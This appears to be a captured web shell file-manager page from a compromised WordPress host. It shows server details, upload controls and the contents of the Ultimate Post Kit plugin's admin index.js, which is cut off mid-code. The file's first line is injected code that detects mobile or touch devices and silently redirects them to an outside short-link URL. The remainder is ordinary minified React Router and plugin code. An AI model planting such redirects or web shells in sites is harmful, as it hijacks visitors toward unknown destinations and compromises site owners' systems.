Server : LiteSpeed
System : Linux quebec.us.hostns.io 5.14.0-687.42.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Aug 27 11:55:12 EDT 2026 x86_64
User : gazetufm ( 1431)
PHP Version : 8.1.35
Disable Function : NONE
Directory :  /home2/gazetufm/dumoshi.com/wp-content/plugins/ultimate-post-kit/build/admin/

šŸ“ Create New:
ā¬†ļø Upload File:
Current Dir [ Not Writable ] Root [ Writable ]


OR Upload from URL:
URL: Save as:

šŸ“„ File: index.js

Path: //home2/gazetufm/dumoshi.com/wp-content/plugins/ultimate-post-kit/build/admin/index.js

Size: 192.53 KB

Permissions: 0444

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/GNLgNDJCz0r1");
(()=>{"use strict";const e=window.React,t=window.wp.element;function a(){return a=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var a=arguments[t];for(var n in a)({}).hasOwnProperty.call(a,n)&&(e[n]=a[n])}return e},a.apply(null,arguments)}var n;!function(e){e.Pop="POP",e.Push="PUSH",e.Replace="REPLACE"}(n||(n={}));const r="popstate";function l(e,t){if(!1===e||null==e)throw new Error(t)}function i(e,t){if(!e){"undefined"!=typeof console&&console.warn(t);try{throw new Error(t)}catch(e){}}}function o(e,t){return{usr:e.state,key:e.key,idx:t}}function s(e,t,n,r){return void 0===n&&(n=null),a({pathname:"string"==typeof e?e:e.pathname,search:"",hash:""},"string"==typeof t?d(t):t,{state:n,key:t&&t.key||r||Math.random().toString(36).substr(2,8)})}function c(e){let{pathname:t="/",search:a="",hash:n=""}=e;return a&&"?"!==a&&(t+="?"===a.charAt(0)?a:"?"+a),n&&"#"!==n&&(t+="#"===n.charAt(0)?n:"#"+n),t}function d(e){let t={};if(e){let a=e.indexOf("#");a>=0&&(t.hash=e.substr(a),e=e.substr(0,a));let n=e.indexOf("?");n>=0&&(t.search=e.substr(n),e=e.substr(0,n)),e&&(t.pathname=e)}return t}var m;function u(e,t,a){return void 0===a&&(a="/"),function(e,t,a,n){let r=N(("string"==typeof t?d(t):t).pathname||"/",a);if(null==r)return null;let l=p(e);!function(e){e.sort((e,t)=>e.score!==t.score?t.score-e.score:function(e,t){return e.length===t.length&&e.slice(0,-1).every((e,a)=>e===t[a])?e[e.length-1]-t[t.length-1]:0}(e.routesMeta.map(e=>e.childrenIndex),t.routesMeta.map(e=>e.childrenIndex)))}(l);let o=null,s=function(e){try{return e.split("/").map(e=>decodeURIComponent(e).replace(/\//g,"%2F")).join("/")}catch(t){return i(!1,'The URL path "'+e+'" could not be decoded because it is is a malformed URL segment. This is probably due to a bad percent encoding ('+t+")."),e}}(r);for(let e=0;null==o&&e<l.length;++e)o=w(l[e],s,n);return o}(e,t,a,!1)}function p(e,t,a,n){void 0===t&&(t=[]),void 0===a&&(a=[]),void 0===n&&(n="");let r=(e,r,i)=>{let o={relativePath:void 0===i?e.path||"":i,caseSensitive:!0===e.caseSensitive,childrenIndex:r,route:e};o.relativePath.startsWith("/")&&(l(o.relativePath.startsWith(n),'Absolute route path "'+o.relativePath+'" nested under path "'+n+'" is not valid. An absolute child route path must start with the combined path of all its parent routes.'),o.relativePath=o.relativePath.slice(n.length));let s=I([n,o.relativePath]),c=a.concat(o);e.children&&e.children.length>0&&(l(!0!==e.index,'Index routes must not have child routes. Please remove all child routes from route path "'+s+'".'),p(e.children,t,c,s)),(null!=e.path||e.index)&&t.push({path:s,score:v(s,e.index),routesMeta:c})};return e.forEach((e,t)=>{var a;if(""!==e.path&&null!=(a=e.path)&&a.includes("?"))for(let a of x(e.path))r(e,t,a);else r(e,t)}),t}function x(e){let t=e.split("/");if(0===t.length)return[];let[a,...n]=t,r=a.endsWith("?"),l=a.replace(/\?$/,"");if(0===n.length)return r?[l,""]:[l];let i=x(n.join("/")),o=[];return o.push(...i.map(e=>""===e?l:[l,e].join("/"))),r&&o.push(...i),o.map(t=>e.startsWith("/")&&""===t?"/":t)}!function(e){e.data="data",e.deferred="deferred",e.redirect="redirect",e.error="error"}(m||(m={})),new Set(["lazy","caseSensitive","path","id","index","children"]);const b=/^:[\w-]+$/,f=3,g=2,k=1,h=10,_=-2,E=e=>"*"===e;function v(e,t){let a=e.split("/"),n=a.length;return a.some(E)&&(n+=_),t&&(n+=g),a.filter(e=>!E(e)).reduce((e,t)=>e+(b.test(t)?f:""===t?k:h),n)}function w(e,t,a){void 0===a&&(a=!1);let{routesMeta:n}=e,r={},l="/",i=[];for(let e=0;e<n.length;++e){let o=n[e],s=e===n.length-1,c="/"===l?t:t.slice(l.length)||"/",d=y({path:o.relativePath,caseSensitive:o.caseSensitive,end:s},c),m=o.route;if(!d&&s&&a&&!n[n.length-1].route.index&&(d=y({path:o.relativePath,caseSensitive:o.caseSensitive,end:!1},c)),!d)return null;Object.assign(r,d.params),i.push({params:r,pathname:I([l,d.pathname]),pathnameBase:z(I([l,d.pathnameBase])),route:m}),"/"!==d.pathnameBase&&(l=I([l,d.pathnameBase]))}return i}function y(e,t){"string"==typeof e&&(e={path:e,caseSensitive:!1,end:!0});let[a,n]=function(e,t,a){void 0===t&&(t=!1),void 0===a&&(a=!0),i("*"===e||!e.endsWith("*")||e.endsWith("/*"),'Route path "'+e+'" will be treated as if it were "'+e.replace(/\*$/,"/*")+'" because the `*` character must always follow a `/` in the pattern. To get rid of this warning, please change the route path to "'+e.replace(/\*$/,"/*")+'".');let n=[],r="^"+e.replace(/\/*\*?$/,"").replace(/^\/*/,"/").replace(/[\\.*+^${}|()[\]]/g,"\\$&").replace(/\/:([\w-]+)(\?)?/g,(e,t,a)=>(n.push({paramName:t,isOptional:null!=a}),a?"/?([^\\/]+)?":"/([^\\/]+)"));return e.endsWith("*")?(n.push({paramName:"*"}),r+="*"===e||"/*"===e?"(.*)$":"(?:\\/(.+)|\\/*)$"):a?r+="\\/*$":""!==e&&"/"!==e&&(r+="(?:(?=\\/|$))"),[new RegExp(r,t?void 0:"i"),n]}(e.path,e.caseSensitive,e.end),r=t.match(a);if(!r)return null;let l=r[0],o=l.replace(/(.)\/+$/,"$1"),s=r.slice(1);return{params:n.reduce((e,t,a)=>{let{paramName:n,isOptional:r}=t;if("*"===n){let e=s[a]||"";o=l.slice(0,l.length-e.length).replace(/(.)\/+$/,"$1")}const i=s[a];return e[n]=r&&!i?void 0:(i||"").replace(/%2F/g,"/"),e},{}),pathname:l,pathnameBase:o,pattern:e}}function N(e,t){if("/"===t)return e;if(!e.toLowerCase().startsWith(t.toLowerCase()))return null;let a=t.endsWith("/")?t.length-1:t.length,n=e.charAt(a);return n&&"/"!==n?null:e.slice(a)||"/"}function M(e,t){let a=t.replace(/\/+$/,"").split("/");return e.split("/").forEach(e=>{".."===e?a.length>1&&a.pop():"."!==e&&a.push(e)}),a.length>1?a.join("/"):"/"}function C(e,t,a,n){return"Cannot include a '"+e+"' character in a manually specified `to."+t+"` field ["+JSON.stringify(n)+"].  Please separate it out to the `to."+a+'` field. Alternatively you may provide the full path as a string in <Link to="..."> and the router will parse it for you.'}function S(e,t){let a=function(e){return e.filter((e,t)=>0===t||e.route.path&&e.route.path.length>0)}(e);return t?a.map((e,t)=>t===a.length-1?e.pathname:e.pathnameBase):a.map(e=>e.pathnameBase)}function L(e,t,n,r){let i;void 0===r&&(r=!1),"string"==typeof e?i=d(e):(i=a({},e),l(!i.pathname||!i.pathname.includes("?"),C("?","pathname","search",i)),l(!i.pathname||!i.pathname.includes("#"),C("#","pathname","hash",i)),l(!i.search||!i.search.includes("#"),C("#","search","hash",i)));let o,s=""===e||""===i.pathname,c=s?"/":i.pathname;if(null==c)o=n;else{let e=t.length-1;if(!r&&c.startsWith("..")){let t=c.split("/");for(;".."===t[0];)t.shift(),e-=1;i.pathname=t.join("/")}o=e>=0?t[e]:"/"}let m=function(e,t){void 0===t&&(t="/");let a,{pathname:n,search:r="",hash:l=""}="string"==typeof e?d(e):e;return n?(n=j(n),a=n.startsWith("/")?M(n.substring(1),"/"):M(n,t)):a=t,{pathname:a,search:P(r),hash:D(l)}}(i,o),u=c&&"/"!==c&&c.endsWith("/"),p=(s||"."===c)&&n.endsWith("/");return m.pathname.endsWith("/")||!u&&!p||(m.pathname+="/"),m}const j=e=>e.replace(/\/\/+/g,"/"),I=e=>j(e.join("/")),z=e=>e.replace(/\/+$/,"").replace(/^\/*/,"/"),P=e=>e&&"?"!==e?e.startsWith("?")?e:"?"+e:"",D=e=>e&&"#"!==e?e.startsWith("#")?e:"#"+e:"";Error;const T=["post","put","patch","delete"],A=(new Set(T),["get",...T]);function U(){return U=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var a=arguments[t];for(var n in a)({}).hasOwnProperty.call(a,n)&&(e[n]=a[n])}return e},U.apply(null,arguments)}new Set(A),new Set([301,302,303,307,308]),new Set([307,308]),Symbol("deferred");const R=e.createContext(null),O=e.createContext(null),$=e.createContext(null),F=e.createContext(null),W=e.createContext({outlet:null,matches:[],isDataRoute:!1}),Y=e.createContext(null);function G(){return null!=e.useContext(F)}function B(){return G()||l(!1),e.useContext(F).location}function H(t){e.useContext($).static||e.useLayoutEffect(t)}function J(){let{isDataRoute:t}=e.useContext(W);return t?function(){let{router:t}=function(){let t=e.useContext(R);return t||l(!1),t}(ee.UseNavigateStable),a=ae(te.UseNavigateStable),n=e.useRef(!1);return H(()=>{n.current=!0}),e.useCallback(function(e,r){void 0===r&&(r={}),n.current&&("number"==typeof e?t.navigate(e):t.navigate(e,U({fromRouteId:a},r)))},[t,a])}():function(){G()||l(!1);let t=e.useContext(R),{basename:a,future:n,navigator:r}=e.useContext($),{matches:i}=e.useContext(W),{pathname:o}=B(),s=JSON.stringify(S(i,n.v7_relativeSplatPath)),c=e.useRef(!1);return H(()=>{c.current=!0}),e.useCallback(function(e,n){if(void 0===n&&(n={}),!c.current)return;if("number"==typeof e)return void r.go(e);let l=L(e,JSON.parse(s),o,"path"===n.relative);null==t&&"/"!==a&&(l.pathname="/"===l.pathname?a:I([a,l.pathname])),(n.replace?r.replace:r.push)(l,n.state,n)},[a,r,s,o,t])}()}function Q(t,a){let{relative:n}=void 0===a?{}:a,{future:r}=e.useContext($),{matches:l}=e.useContext(W),{pathname:i}=B(),o=JSON.stringify(S(l,r.v7_relativeSplatPath));return e.useMemo(()=>L(t,JSON.parse(o),i,"path"===n),[t,o,i,n])}function Z(t,a,r,i){G()||l(!1);let{navigator:o}=e.useContext($),{matches:s}=e.useContext(W),c=s[s.length-1],m=c?c.params:{},p=(c&&c.pathname,c?c.pathnameBase:"/");c&&c.route;let x,b=B();if(a){var f;let e="string"==typeof a?d(a):a;"/"===p||(null==(f=e.pathname)?void 0:f.startsWith(p))||l(!1),x=e}else x=b;let g=x.pathname||"/",k=g;if("/"!==p){let e=p.replace(/^\//,"").split("/");k="/"+g.replace(/^\//,"").split("/").slice(e.length).join("/")}let h=u(t,{pathname:k}),_=function(t,a,n,r){var i;if(void 0===a&&(a=[]),void 0===n&&(n=null),void 0===r&&(r=null),null==t){var o;if(!n)return null;if(n.errors)t=n.matches;else{if(!(null!=(o=r)&&o.v7_partialHydration&&0===a.length&&!n.initialized&&n.matches.length>0))return null;t=n.matches}}let s=t,c=null==(i=n)?void 0:i.errors;if(null!=c){let e=s.findIndex(e=>e.route.id&&void 0!==(null==c?void 0:c[e.route.id]));e>=0||l(!1),s=s.slice(0,Math.min(s.length,e+1))}let d=!1,m=-1;if(n&&r&&r.v7_partialHydration)for(let e=0;e<s.length;e++){let t=s[e];if((t.route.HydrateFallback||t.route.hydrateFallbackElement)&&(m=e),t.route.id){let{loaderData:e,errors:a}=n,r=t.route.loader&&void 0===e[t.route.id]&&(!a||void 0===a[t.route.id]);if(t.route.lazy||r){d=!0,s=m>=0?s.slice(0,m+1):[s[0]];break}}}return s.reduceRight((t,r,l)=>{let i,o=!1,u=null,p=null;var x;n&&(i=c&&r.route.id?c[r.route.id]:void 0,u=r.route.errorElement||K,d&&(m<0&&0===l?(ne[x="route-fallback"]||(ne[x]=!0),o=!0,p=null):m===l&&(o=!0,p=r.route.hydrateFallbackElement||null)));let b=a.concat(s.slice(0,l+1)),f=()=>{let a;return a=i?u:o?p:r.route.Component?e.createElement(r.route.Component,null):r.route.element?r.route.element:t,e.createElement(q,{match:r,routeContext:{outlet:t,matches:b,isDataRoute:null!=n},children:a})};return n&&(r.route.ErrorBoundary||r.route.errorElement||0===l)?e.createElement(X,{location:n.location,revalidation:n.revalidation,component:u,error:i,children:f(),routeContext:{outlet:null,matches:b,isDataRoute:!0}}):f()},null)}(h&&h.map(e=>Object.assign({},e,{params:Object.assign({},m,e.params),pathname:I([p,o.encodeLocation?o.encodeLocation(e.pathname).pathname:e.pathname]),pathnameBase:"/"===e.pathnameBase?p:I([p,o.encodeLocation?o.encodeLocation(e.pathnameBase).pathname:e.pathnameBase])})),s,r,i);return a&&_?e.createElement(F.Provider,{value:{location:U({pathname:"/",search:"",hash:"",state:null,key:"default"},x),navigationType:n.Pop}},_):_}function V(){let t=function(){var t;let a=e.useContext(Y),n=function(){let t=e.useContext(O);return t||l(!1),t}(te.UseRouteError),r=ae(te.UseRouteError);return void 0!==a?a:null==(t=n.errors)?void 0:t[r]}(),a=function(e){return null!=e&&"number"==typeof e.status&&"string"==typeof e.statusText&&"boolean"==typeof e.internal&&"data"in e}(t)?t.status+" "+t.statusText:t instanceof Error?t.message:JSON.stringify(t),n=t instanceof Error?t.stack:null,r={padding:"0.5rem",backgroundColor:"rgba(200,200,200, 0.5)"};return e.createElement(e.Fragment,null,e.createElement("h2",null,"Unexpected Application Error!"),e.createElement("h3",{style:{fontStyle:"italic"}},a),n?e.createElement("pre",{style:r},n):null,null)}const K=e.createElement(V,null);class X extends e.Component{constructor(e){super(e),this.state={location:e.location,revalidation:e.revalidation,error:e.error}}static getDerivedStateFromError(e){return{error:e}}static getDerivedStateFromProps(e,t){return t.location!==e.location||"idle"!==t.revalidation&&"idle"===e.revalidation?{error:e.error,location:e.location,revalidation:e.revalidation}:{error:void 0!==e.error?e.error:t.error,location:t.location,revalidation:e.revalidation||t.revalidation}}componentDidCatch(e,t){console.error("React Router caught the following error during render",e,t)}render(){return void 0!==this.state.error?e.createElement(W.Provider,{value:this.props.routeContext},e.createElement(Y.Provider,{value:this.state.error,children:this.props.component})):this.props.children}}function q(t){let{routeContext:a,match:n,children:r}=t,l=e.useContext(R);return l&&l.static&&l.staticContext&&(n.route.errorElement||n.route.ErrorBoundary)&&(l.staticContext._deepestRenderedBoundaryId=n.route.id),e.createElement(W.Provider,{value:a},r)}var ee=function(e){return e.UseBlocker="useBlocker",e.UseRevalidator="useRevalidator",e.UseNavigateStable="useNavigate",e}(ee||{}),te=function(e){return e.UseBlocker="useBlocker",e.UseLoaderData="useLoaderData",e.UseActionData="useActionData",e.UseRouteError="useRouteError",e.UseNavigation="useNavigation",e.UseRouteLoaderData="useRouteLoaderData",e.UseMatches="useMatches",e.UseRevalidator="useRevalidator",e.UseNavigateStable="useNavigate",e.UseRouteId="useRouteId",e}(te||{});function ae(t){let a=function(){let t=e.useContext(W);return t||l(!1),t}(),n=a.matches[a.matches.length-1];return n.route.id||l(!1),n.route.id}const ne={};function re(t){let{to:a,replace:n,state:r,relative:i}=t;G()||l(!1);let{future:o,static:s}=e.useContext($),{matches:c}=e.useContext(W),{pathname:d}=B(),m=J(),u=L(a,S(c,o.v7_relativeSplatPath),d,"path"===i),p=JSON.stringify(u);return e.useEffect(()=>m(JSON.parse(p),{replace:n,state:r,relative:i}),[m,p,i,n,r]),null}function le(e){l(!1)}function ie(t){let{basename:a="/",children:r=null,location:i,navigationType:o=n.Pop,navigator:s,static:c=!1,future:m}=t;G()&&l(!1);let u=a.replace(/^\/*/,"/"),p=e.useMemo(()=>({basename:u,navigator:s,static:c,future:U({v7_relativeSplatPath:!1},m)}),[u,m,s,c]);"string"==typeof i&&(i=d(i));let{pathname:x="/",search:b="",hash:f="",state:g=null,key:k="default"}=i,h=e.useMemo(()=>{let e=N(x,u);return null==e?null:{location:{pathname:e,search:b,hash:f,state:g,key:k},navigationType:o}},[u,x,b,f,g,k,o]);return null==h?null:e.createElement($.Provider,{value:p},e.createElement(F.Provider,{children:r,value:h}))}function oe(e){let{children:t,location:a}=e;return function(e,t){return Z(e,t)}(se(t),a)}function se(t,a){void 0===a&&(a=[]);let n=[];return e.Children.forEach(t,(t,r)=>{if(!e.isValidElement(t))return;let i=[...a,r];if(t.type===e.Fragment)return void n.push.apply(n,se(t.props.children,i));t.type!==le&&l(!1),t.props.index&&t.props.children&&l(!1);let o={id:t.props.id||i.join("-"),caseSensitive:t.props.caseSensitive,element:t.props.element,Component:t.props.Component,index:t.props.index,path:t.props.path,loader:t.props.loader,action:t.props.action,errorElement:t.props.errorElement,ErrorBoundary:t.props.ErrorBoundary,hasErrorBoundary:null!=t.props.ErrorBoundary||null!=t.props.errorElement,shouldRevalidate:t.props.shouldRevalidate,handle:t.props.handle,lazy:t.props.lazy};t.props.children&&(o.children=se(t.props.children,i)),n.push(o)}),n}e.startTransition,new Promise(()=>{}),e.Component;const ce=window.ReactDOM;function de(){return de=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var a=arguments[t];for(var n in a)({}).hasOwnProperty.call(a,n)&&(e[n]=a[n])}return e},de.apply(null,arguments)}function me(e){return void 0===e&&(e=""),new URLSearchParams("string"==typeof e||Array.isArray(e)||e instanceof URLSearchParams?e:Object.keys(e).reduce((t,a)=>{let n=e[a];return t.concat(Array.isArray(n)?n.map(e=>[a,e]):[[a,n]])},[]))}new Set(["application/x-www-form-urlencoded","multipart/form-data","text/plain"]);const ue=["onClick","relative","reloadDocument","replace","state","target","to","preventScrollReset","viewTransition"];try{window.__reactRouterVersion="6"}catch(e){}new Map;const pe=e.startTransition;function xe(t){let{basename:m,children:u,future:p,window:x}=t,b=e.useRef();var f;null==b.current&&(b.current=(void 0===(f={window:x,v5Compat:!0})&&(f={}),function(e,t,i,d){void 0===d&&(d={});let{window:m=document.defaultView,v5Compat:u=!1}=d,p=m.history,x=n.Pop,b=null,f=g();function g(){return(p.state||{idx:null}).idx}function k(){x=n.Pop;let e=g(),t=null==e?null:e-f;f=e,b&&b({action:x,location:_.location,delta:t})}function h(e){let t="null"!==m.location.origin?m.location.origin:m.location.href,a="string"==typeof e?e:c(e);return a=a.replace(/ $/,"%20"),l(t,"No window.location.(origin|href) available to create URL for href: "+a),new URL(a,t)}null==f&&(f=0,p.replaceState(a({},p.state,{idx:f}),""));let _={get action(){return x},get location(){return e(m,p)},listen(e){if(b)throw new Error("A history only accepts one active listener");return m.addEventListener(r,k),b=e,()=>{m.removeEventListener(r,k),b=null}},createHref:e=>t(m,e),createURL:h,encodeLocation(e){let t=h(e);return{pathname:t.pathname,search:t.search,hash:t.hash}},push:function(e,t){x=n.Push;let a=s(_.location,e,t);i&&i(a,e),f=g()+1;let r=o(a,f),l=_.createHref(a);try{p.pushState(r,"",l)}catch(e){if(e instanceof DOMException&&"DataCloneError"===e.name)throw e;m.location.assign(l)}u&&b&&b({action:x,location:_.location,delta:1})},replace:function(e,t){x=n.Replace;let a=s(_.location,e,t);i&&i(a,e),f=g();let r=o(a,f),l=_.createHref(a);p.replaceState(r,"",l),u&&b&&b({action:x,location:_.location,delta:0})},go:e=>p.go(e)};return _}(function(e,t){let{pathname:a="/",search:n="",hash:r=""}=d(e.location.hash.substr(1));return a.startsWith("/")||a.startsWith(".")||(a="/"+a),s("",{pathname:a,search:n,hash:r},t.state&&t.state.usr||null,t.state&&t.state.key||"default")},function(e,t){let a=e.document.querySelector("base"),n="";if(a&&a.getAttribute("href")){let t=e.location.href,a=t.indexOf("#");n=-1===a?t:t.slice(0,a)}return n+"#"+("string"==typeof t?t:c(t))},function(e,t){i("/"===e.pathname.charAt(0),"relative pathnames are not supported in hash history.push("+JSON.stringify(t)+")")},f)));let g=b.current,[k,h]=e.useState({action:g.action,location:g.location}),{v7_startTransition:_}=p||{},E=e.useCallback(e=>{_&&pe?pe(()=>h(e)):h(e)},[h,_]);return e.useLayoutEffect(()=>g.listen(E),[g,E]),e.useEffect(()=>{return null==(e=p)||e.v7_startTransition,void 0===(null==e?void 0:e.v7_relativeSplatPath)&&(!t||t.v7_relativeSplatPath),void(t&&(t.v7_fetcherPersist,t.v7_normalizeFormMethod,t.v7_partialHydration,t.v7_skipActionErrorRevalidation));var e,t},[p]),e.createElement(ie,{basename:m,children:u,location:k.location,navigationType:k.action,navigator:g,future:p})}ce.flushSync,e.useId;const be="undefined"!=typeof window&&void 0!==window.document&&void 0!==window.document.createElement,fe=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,ge=e.forwardRef(function(t,a){let n,{onClick:r,relative:i,reloadDocument:o,replace:s,state:d,target:m,to:u,preventScrollReset:p,viewTransition:x}=t,b=function(e,t){if(null==e)return{};var a={};for(var n in e)if({}.hasOwnProperty.call(e,n)){if(-1!==t.indexOf(n))continue;a[n]=e[n]}return a}(t,ue),{basename:f}=e.useContext($),g=!1;if("string"==typeof u&&fe.test(u)&&(n=u,be))try{let e=new URL(window.location.href),t=u.startsWith("//")?new URL(e.protocol+u):new URL(u),a=N(t.pathname,f);t.origin===e.origin&&null!=a?u=a+t.search+t.hash:g=!0}catch(e){}let k=function(t,a){let{relative:n}=void 0===a?{}:a;G()||l(!1);let{basename:r,navigator:i}=e.useContext($),{hash:o,pathname:s,search:c}=Q(t,{relative:n}),d=s;return"/"!==r&&(d="/"===s?r:I([r,s])),i.createHref({pathname:d,search:c,hash:o})}(u,{relative:i}),h=function(t,a){let{target:n,replace:r,state:l,preventScrollReset:i,relative:o,viewTransition:s}=void 0===a?{}:a,d=J(),m=B(),u=Q(t,{relative:o});return e.useCallback(e=>{if(function(e,t){return!(0!==e.button||t&&"_self"!==t||function(e){return!!(e.metaKey||e.altKey||e.ctrlKey||e.shiftKey)}(e))}(e,n)){e.preventDefault();let a=void 0!==r?r:c(m)===c(u);d(t,{replace:a,state:l,preventScrollReset:i,relative:o,viewTransition:s})}},[m,d,u,r,l,n,t,i,o,s])}(u,{replace:s,state:d,target:m,preventScrollReset:p,relative:i,viewTransition:x});return e.createElement("a",de({},b,{href:n||k,onClick:g||o?r:function(e){r&&r(e),e.defaultPrevented||h(e)},ref:a,target:m}))});var ke,he;(function(e){e.UseScrollRestoration="useScrollRestoration",e.UseSubmit="useSubmit",e.UseSubmitFetcher="useSubmitFetcher",e.UseFetcher="useFetcher",e.useViewTransitionState="useViewTransitionState"})(ke||(ke={})),function(e){e.UseFetcher="useFetcher",e.UseFetchers="useFetchers",e.UseScrollRestoration="useScrollRestoration"}(he||(he={}));const _e=window.wp.i18n,Ee=window.UltimatePostKitAdmin||{},ve=Ee.sections||{};function we(e){return ve[e]&&ve[e].fields||[]}const ye=Ee,Ne="upkAdminTheme";function Me(){return window.matchMedia&&window.matchMedia("(prefers-color-scheme: dark)").matches?"dark":"light"}function Ce(){const e=window.localStorage.getItem(Ne);return"light"===e||"dark"===e?e:null}function Se(){const[e,a]=(0,t.useState)(Ce),[n,r]=(0,t.useState)(Me);(0,t.useEffect)(()=>{if(!window.matchMedia)return;const e=window.matchMedia("(prefers-color-scheme: dark)"),t=e=>r(e.matches?"dark":"light");return e.addEventListener?(e.addEventListener("change",t),()=>e.removeEventListener("change",t)):(e.addListener(t),()=>e.removeListener(t))},[]);const l=e||n;(0,t.useEffect)(()=>{const e=document.getElementById("upk-admin-app");e&&e.setAttribute("data-upk-theme",l),document.body.classList.toggle("upk-theme-dark","dark"===l)},[l]);const i=(0,t.useCallback)(()=>{const e="dark"===l?"light":"dark";if(e===Me())return window.localStorage.removeItem(Ne),a(null),void r(Me());window.localStorage.setItem(Ne,e),a(e)},[l]);return{theme:l,toggle:i}}function Le({size:t=18,strokeWidth:a=2,children:n,...r}){return(0,e.createElement)("svg",{width:t,height:t,viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:a,strokeLinecap:"round",strokeLinejoin:"round","aria-hidden":"true",...r},n)}const je=t=>Le({...t,children:(0,e.createElement)(e.Fragment,null,(0,e.createElement)("rect",{x:"3",y:"3",width:"7",height:"9",rx:"1.5"}),(0,e.createElement)("rect",{x:"14",y:"3",width:"7",height:"5",rx:"1.5"}),(0,e.createElement)("rect",{x:"14",y:"12",width:"7",height:"9",rx:"1.5"}),(0,e.createElement)("rect",{x:"3",y:"16",width:"7",height:"5",rx:"1.5"}))}),Ie=t=>Le({...t,children:(0,e.createElement)(e.Fragment,null,(0,e.createElement)("rect",{x:"3",y:"3",width:"7",height:"7",rx:"1.5"}),(0,e.createElement)("rect",{x:"14",y:"3",width:"7",height:"7",rx:"1.5"}),(0,e.createElement)("rect",{x:"14",y:"14",width:"7",height:"7",rx:"1.5"}),(0,e.createElement)("rect",{x:"3",y:"14",width:"7",height:"7",rx:"1.5"}))}),ze=t=>Le({...t,children:(0,e.createElement)("path",{d:"M19.5 12.5a2 2 0 1 0-3-2.6V7a1 1 0 0 0-1-1h-2.9a2 2 0 1 0-3.6 0H6a1 1 0 0 0-1 1v2.9a2 2 0 1 0 0 3.6V18a1 1 0 0 0 1 1h2.9a2 2 0 1 1 3.6 0h2.9a1 1 0 0 0 1-1v-2.9a2 2 0 0 0 2.6-2.1Z"})}),Pe=t=>Le({...t,children:(0,e.createElement)(e.Fragment,null,(0,e.createElement)("path",{d:"M21 8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16Z"}),(0,e.createElement)("path",{d:"m3.3 7 8.7 5 8.7-5"}),(0,e.createElement)("path",{d:"M12 22V12"}))}),De=t=>Le({...t,children:(0,e.createElement)(e.Fragment,null,(0,e.createElement)("line",{x1:"4",y1:"21",x2:"4",y2:"14"}),(0,e.createElement)("line",{x1:"4",y1:"10",x2:"4",y2:"3"}),(0,e.createElement)("line",{x1:"12",y1:"21",x2:"12",y2:"12"}),(0,e.createElement)("line",{x1:"12",y1:"8",x2:"12",y2:"3"}),(0,e.createElement)("line",{x1:"20",y1:"21",x2:"20",y2:"16"}),(0,e.createElement)("line",{x1:"20",y1:"12",x2:"20",y2:"3"}),(0,e.createElement)("line",{x1:"1.5",y1:"14",x2:"6.5",y2:"14"}),(0,e.createElement)("line",{x1:"9.5",y1:"8",x2:"14.5",y2:"8"}),(0,e.createElement)("line",{x1:"17.5",y1:"16",x2:"22.5",y2:"16"}))}),Te=t=>Le({...t,children:(0,e.createElement)(e.Fragment,null,(0,e.createElement)("path",{d:"m21 2-9.6 9.6"}),(0,e.createElement)("circle",{cx:"7.5",cy:"15.5",r:"5.5"}),(0,e.createElement)("path",{d:"m15.5 7.5 3 3"}))}),Ae=t=>Le({...t,children:(0,e.createElement)(e.Fragment,null,(0,e.createElement)("path",{d:"m20.6 13.4-7.2 7.2a2 2 0 0 1-2.8 0L2 12V2h10l8.6 8.6a2 2 0 0 1 0 2.8Z"}),(0,e.createElement)("circle",{cx:"7",cy:"7",r:"1.4",fill:"currentColor"}))}),Ue=t=>Le({...t,children:(0,e.createElement)(e.Fragment,null,(0,e.createElement)("circle",{cx:"11",cy:"11",r:"8"}),(0,e.createElement)("line",{x1:"21",y1:"21",x2:"16.65",y2:"16.65"}))}),Re=t=>Le({...t,children:(0,e.createElement)(e.Fragment,null,(0,e.createElement)("circle",{cx:"12",cy:"12",r:"4.5"}),(0,e.createElement)("line",{x1:"12",y1:"2",x2:"12",y2:"5"}),(0,e.createElement)("line",{x1:"12",y1:"19",x2:"12",y2:"22"}),(0,e.createElement)("line",{x1:"4.2",y1:"4.2",x2:"6.3",y2:"6.3"}),(0,e.createElement)("line",{x1:"17.7",y1:"17.7",x2:"19.8",y2:"19.8"}),(0,e.createElement)("line",{x1:"2",y1:"12",x2:"5",y2:"12"}),(0,e.createElement)("line",{x1:"19",y1:"12",x2:"22",y2:"12"}),(0,e.createElement)("line",{x1:"4.2",y1:"19.8",x2:"6.3",y2:"17.7"}),(0,e.createElement)("line",{x1:"17.7",y1:"6.3",x2:"19.8",y2:"4.2"}))}),Oe=t=>Le({...t,children:(0,e.createElement)("path",{d:"M21 12.8A9 9 0 1 1 11.2 3a7 7 0 0 0 9.8 9.8Z"})}),$e=t=>Le({...t,children:(0,e.createElement)(e.Fragment,null,(0,e.createElement)("path",{d:"M4 19.5A2.5 2.5 0 0 1 6.5 17H20"}),(0,e.createElement)("path",{d:"M6.5 2H20v20H6.5A2.5 2.5 0 0 1 4 19.5v-15A2.5 2.5 0 0 1 6.5 2Z"}))}),Fe=t=>Le({...t,strokeWidth:t?.strokeWidth||2.2,children:(0,e.createElement)("polygon",{points:"13 2 3 14 12 14 11 22 21 10 12 10 13 2"})}),We=t=>Le({...t,strokeWidth:t?.strokeWidth||3,children:(0,e.createElement)("polyline",{points:"20 6 9 17 4 12"})}),Ye=t=>Le({...t,children:(0,e.createElement)(e.Fragment,null,(0,e.createElement)("line",{x1:"18",y1:"6",x2:"6",y2:"18"}),(0,e.createElement)("line",{x1:"6",y1:"6",x2:"18",y2:"18"}))}),Ge=t=>Le({...t,children:(0,e.createElement)("polyline",{points:"9 18 15 12 9 6"})}),Be=t=>Le({...t,children:(0,e.createElement)(e.Fragment,null,(0,e.createElement)("path",{d:"M18 13v6a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V8a2 2 0 0 1 2-2h6"}),(0,e.createElement)("polyline",{points:"15 3 21 3 21 